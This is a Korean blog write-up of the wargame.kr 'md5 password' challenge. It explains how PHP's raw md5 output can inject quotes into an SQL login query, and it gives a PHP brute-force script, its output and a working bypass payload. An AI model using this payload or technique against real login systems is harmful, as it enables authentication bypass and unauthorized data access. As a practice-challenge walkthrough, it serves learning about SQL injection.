Hacking/Web.

[wargame.kr] md5 password

2016. 9. 8. 23:29

현대건설힐스테이트배구단 레프트 고예림

 

wargame.kr에 있는 500p짜리 `md5 password`라는 문제이다. 

 

 

webhacking.kr에 있는 문제만 풀어와서 500점짜리라 겁먹고 시작했었는데 이전에 CTF에서 한 번 풀어본 경험이 있는 유형의 문제여서 쉽게 풀 수 있었다.

 


문제에 공개된 소스코드 중에서 SQL쿼리를 사용하는 부분을 보면 md5() 함수를 사용하여 password와 비교하는 부분을 볼 수 있다.

 

 

일반적인 md5() 함수라면 unexploitable이라고 볼 수 있겠지만 2번째 인자로 true를 넘겨주어 raw md5 연산을 하기 때문에 취약하다.

 

 

 일반적인 MD5 hash와는 달리 Raw MD5 hash의 경우에는 chr(0) ~ chr(0xff) 까지의 리턴값을 갖는다. 따라서 리턴값에 싱글쿼터(0x27)나 더블쿼터(0x22)처럼 SQL Query에 영향을 줄 수 있는 문자들도 포함될 수 있기 때문에, 적절한 필터링을 거치지 않은 경우라면 SQL Injection에 취약해진다.  

 

 그래서 raw md5 hash 에서 preg_match 로 `~~'||'[1-9]~~` 나 `~~'or '[1-9]~~`를 찾는 스크립트를 만들어서 가용한 payload를 찾고자 하였다.

 

#!/usr/bin/env php
<?php

$i = 0;
while (True) {
    $hash = md5($i, true);
    if (preg_match("/\'\|\|\'[1-9]/i", $hash) || preg_match("/\'or\'[1-9]/i", $hash)) {
        echo "{$i} : {$hash}";
        break;
    }
    if ($i % 10000000 == 0) {
        echo "[+] Testing {$i}...\n";
    }
    $i++;
}

 

 실행결과는 다음과 같다.

 

[+] Testing 2380000000...
[+] Testing 2390000000...
[+] Testing 2400000000...
[+] Testing 2410000000...
2413633098 : ̄&߅'or'5왋L%   

 

 Payload를 찾기까지 시간이 꽤 오래걸려서 기다리는 동안 FIFA Mobile에서 게임 세 판 정도 하니까 결과가 나와있었다.ㅋㅋ 

 

 위의 페이로드는 raw md5 hashing 과정을 거쳐 Query에 적용되면 아래와 같다.

 

select * from admin_password where password=' ̄&߅'or'5왋L%';

 

 MySQL에서는 char와 int 간의 Type Casting이 활발하기 때문에 '5왋L%'은 최종적인 OR 연산에서는 5로 치환된다. 따라서 궁극적으로 계산되는 OR 연산은 `0 or 5`와 같기 때문에 admin_password 테이블에 존재하는 모든 row를 반환하게 된다.

 

성공따리

 

[*] special thanks to http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes

 

SQL injection with raw MD5 hashes (Leet More CTF 2010 injection 300)

The University of Florida Student Infosec Team competed in the Leet More CTF 2010 yesterday. It was a 24-hour challenge-based event sort of like DEFCON quals. Ian and I made the team some...

cvk.posthaven.com